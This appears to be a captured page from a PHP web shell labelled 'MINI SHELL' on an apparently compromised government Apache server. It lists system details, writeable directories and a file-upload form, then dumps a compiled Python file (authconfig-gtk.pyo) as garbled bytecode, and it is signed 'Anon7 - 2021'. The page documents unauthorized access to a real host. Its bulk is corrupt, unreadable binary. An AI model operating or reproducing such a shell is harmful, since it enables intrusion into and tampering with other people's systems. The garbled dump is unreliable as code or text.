MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/authconfig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/authconfig/authconfig-gtk.pyo
m

 Dc@sdkZdkZdkZdkZdkZdkZdklZlZdddddddd	d
ddd
dddddgZ	dei
jo$eiddfeidnydk
Z
dkZ
Wnej
o~Zeieiio/eieiioeieiio$eiddfeidnenXdfdYZedjo}eieieiede
iiddeZeiZeie
i joei!neidndS(N(t_s
textdomaintdovecott
messagebustpostfixtprivoxytradiusdtrstatdtrusersdtrwalldtrwhodt	saslauthdtsendmailtsmbtsquidtsshdt	vncservertvsftpdtwinbinds--noxs/usr/bin/authconfigt
authconfigit
AuthconfigcBs}tZdZdZdZdZdZdZdZdfdZ
d	Zdd
ZdZ
dZRS(
Nc
Cs)d|_d|_d|_hddtiddgf<dd	tid
ddgf<d
dtidddgf<ddtidddgf<ddti	dddgf<ddti
dddgf<dd tid!d"d#gf<d$d%d&d&d&gf<d'd(d&d&d&gf<d)d*tid+d,d-gf<d.d/ti
d+d,d0gf<d1d2d&d&d&gf<d3d4d&d&d&gf<|_h|_hd5d6d&f<d7d8d&f<|_hd9d:d&f<d;d<d&f<d=d>d&f<d?d@d&f<dAdBd&f<|_hdCdDd&f<dEdFd&f<d7dGd&f<|_hdHdId&f<dJdKd&f<|_hdLdMd&f<dNdOd&f<|_hd5dMd&f<dPdQd&f<dRdSd&f<|_hd5dMd&f<dTdUdVd5d7dWfd9dVffdXd5dVffdYd5dVffff<d9dZd&f<d[dOd&f<dXd\d]gtiff<dYd^d&f<|_hdd_d`f<ddadbf<ddadbf<ddcddf<d#dedff<ddgdhf<d-didjf<d0didjf<|_ti|i|_|ii|_dSdS(kNi-tAuthenticationtreconfigtenablecachetenableCachetcachingtnscdt	enablenist	enableNIStNIStypbindt	confignistenablehesiodtenableHesiodtHesiodtglibctconfighesiodt
enableldapt
enableLDAPtLDAPtnss_ldapt
configldaptenableldapauthtenableLDAPAuthtconfigldapauthtenablekerberostenableKerberostKerberostpam_krb5tconfigkerberost	enablesmbt	enableSMBtSMBtpam_smbt	configsmbtenableshadowtenableShadowtt	enablemd5t	enableMD5t
enablewinbindt
enableWinbindRssamba-clientt
configwinbindtenablewinbindauthtenableWinbindAuthtconfigwinbindauthtenablelocauthorizetenableLocAuthorizetenablesysnetauthtenableSysNetAuthtdomaint	nisDomaintservert	nisServertrealmt
kerberosRealmtkdctkerberosKDCtadminservertkerberosAdminServertdnsrealmtkerberosRealmviaDNStdnskdctkerberosKDCviaDNSttlstenableLDAPStbasednt
ldapBaseDNt
ldapServertlhst	hesiodLHStrhst	hesiodRHSt	workgrouptsmbWorkgrouptdomaincontrollerst
smbServerstjoinusertjoinUsertjoinpasswordtjoinPasswordtsecuritytsmbSecuritytadstusertshelltjointsmbRealmtserverstwinbindTemplateShells
/bin/falsetwinbindjoin_maybe_launchtnissettingstnis_maptldapsettingstldap_mapthesiodsettingst
hesiod_maptsmbsettingstsmb_maptkerberossettingstkerberos_maptwinbindsettingstwinbind_map(tselftrunPriorityt
moduleNametmoduleClasstauthinfot	PATH_NSCDtPATH_YPBINDtPATH_LIBNSS_HESIODtPATH_LIBNSS_LDAPt
PATH_PAM_LDAPt
PATH_PAM_KRB5tPATH_PAM_SMBtPATH_LIBNSS_WINBINDtPATH_PAM_WINBINDtmain_mapt	empty_mapRoRwRqRsRutwinbindjoin_maptacutilt
getusershellsRyt
launch_maptreadtmessage_callbacktinfotcopytpristineinfo(Rz((t'/usr/share/authconfig/authconfig-gtk.pyt__init__As"			u+	'T6''6
cCs|idS(N(twidgettdestroy(RztbuttonR((Rtdestroy_widgets
cCs|ii}ti|i}|i|||ii|ou|i|dd|d}|tijodSn|djo
||_n|djo|i|i}qn|i||||||_dS(NtjoinsaveRii(ii(RzRRtbackupR~RRtpristinet
info_applytmaptxmltdifferst
run_on_buttontparenttresponsetgtktRESPONSE_CANCELtapplytwinbindjoin_launchR(RzRRRRRRR((RRms 	



cCsu|iipd|i_n|i|dd|}|tijo|iit	nd|i_d|i_dS(Nt
AdministratortwinbindjoinR(RzRRaRRRRtRESPONSE_OKt
joinDomaintTruetNoneRc(RzRRRRR((RRs
cCsx|iD]}|i|}t|ttijo2t	|i||d|id|i
nt|ttijo%t	|i||d|int|ttijo%t	|i||d|i
q
q
W|iidS(Nitoption_list(RtkeystentryRt
get_widgetRttypeRtComboBoxtsetattrRzRtget_datat
get_activetEntrytget_texttCheckButtontupdate(RzRRRR((RRs
cCset|i||ix!|D]}|i|iq Wx!|D]}|i
|iqDWdS(N(RRzRtnametcheckboxRtaliasesRt
set_activet
dependentst
set_sensitive(RzRRRRR((Rt
togglebooleanscCsz|id}||i}xT|dD]H}|i|d}||djo|i
tq*|i
tq*WdS(NRiii(
tcomboRtoptionsRtoptionRt	candidateRRt	dependentRRtFalse(RzRRRRRRR((RtchangeoptionscCsftiid|d}t||}|i	|}|iixB|i
D]4}
|i	|
}	t|	ttijoJ|	idg}d}
xt||
dD]p}|djoqn|	i||i||t|i||
djo|	i|
n|
d}
qWt|i||
d}||jo9|o.|	i||	id|id|qn|	id||	id|i||
||i|	||
|nt|	ttijo.|	idt|||
d|||nt|	tti joDt|i||
do%|	i!t|i||
dq~nt|	tti"jo|	it#t|i||
dt$||
d	joB|i	||
d	}|i&t#t|i||
dq!nt|	tti'joDt|i||
do%|	i!t|i||
dqqPqPW|o|i)||i&t*n|i+t*d}x>|ti.jo-|ti/jo||jo|i1}qW|ti.jo/|i2|||d
jo|i3q@n|i4|o|i&t5n|S(Ns&/usr/share/authconfig/authconfig.gladeRiiR8RtchangedtclickediRq(6RtgladetXMLttopRtgetattrRztmapnameRRtdialogRRRRRRRtremove_textRtoffsetttupleRtappend_texttappendRtprepend_texttinserttset_datatconnectRtButtonRtset_textRtbooltlenRRtLabelRtset_transient_forRt
set_resizableRRRRt	responsestrunRtldap_cacerts_testRR(RzRRRRRRRRRRRRRR((RRs





!


	

-

c
Cstitddtititititif}|i
t|iti
itiiddd}|id}|ii|xX|iiD]G}|i|}|id|i|i|d|i|d|qWx|iiD]}|i|}y2|i|doti |i|dnWn|i!tn+X|i"t#t$|i%|i|dt&|dog}	g}xe|iiD]T}||joA|i|d|i|djo|	|i|g}	qqqWx/|i|d	D]}||i|g}qW|id
|i*|i|d|	||i*||i|d|	|qqW|S(NsAuthentication Configurations&/usr/share/authconfig/authconfig.gladetvboxRRiiRittoggled(+RtDialogRRtDIALOG_NO_SEPARATORtSTOCK_CANCELRtSTOCK_OKRRRRt
set_type_hinttgdktWINDOW_TYPE_HINT_NORMALRRRRtboxRt
pack_startRzRRRRRRRRtoststatRRRRRthasattrRRRR(
RzRRRRRRRRR((Rtget_main_widget2s\!
 
#"	cCs|ii|iidtijo|iin|ii|i|ii	t
dtijoxAtD]9}t
id|t
iot
id|dququWt
idt
io6|iio
d}nd}t
id|d	qndS(
Ns--updatealls--firstboots/etc/init.d/s condrestarts/etc/init.d/autofsR8tconds/etc/init.d/autofs trestart(RzRttestLDAPCACertstrehashLDAPCACertstsystargvtwritetwriteChangedRtpostRtfirstbootservicestserviceRtaccesstX_OKtsystemRR(RzRRR((RRfs 



cCsj|iioY|iioItiddtitit	d|ii
}|i|i
ndS(NisTo connect to a LDAP server with TLS protocol enabled you need a CA certificate which signed your server's certificate. Copy the certificate in the PEM format to the '%s' directory.
Then press OK.(RzRRTRRt
MessageDialogRtMESSAGE_INFOt
BUTTONS_OKRt
ldapCacertDirtmsgRR(RzR((RRys

cCs9tiddtiti|}|i|idS(Ni(	RRRtMESSAGE_WARNINGRttextRRR(RzRR((RRs
(t__name__t
__module__RRRmRRRRRRRRRR(((RR@s	f			
			G	4	
t__main__s/usr/share/localei("R~RtgettextRtsignalRtrhpl.translateRt
textdomainRRtexecvtexitRt	gtk.gladetRuntimeErrortetisattytstdintfilenotstdouttstderrRRtSIGINTtSIG_DFLRtbindtextdomaintmoduleRRRRR(RRRRR
RRR~R
RRRRR((Rt?s0$9KK

	

Anon7 - 2021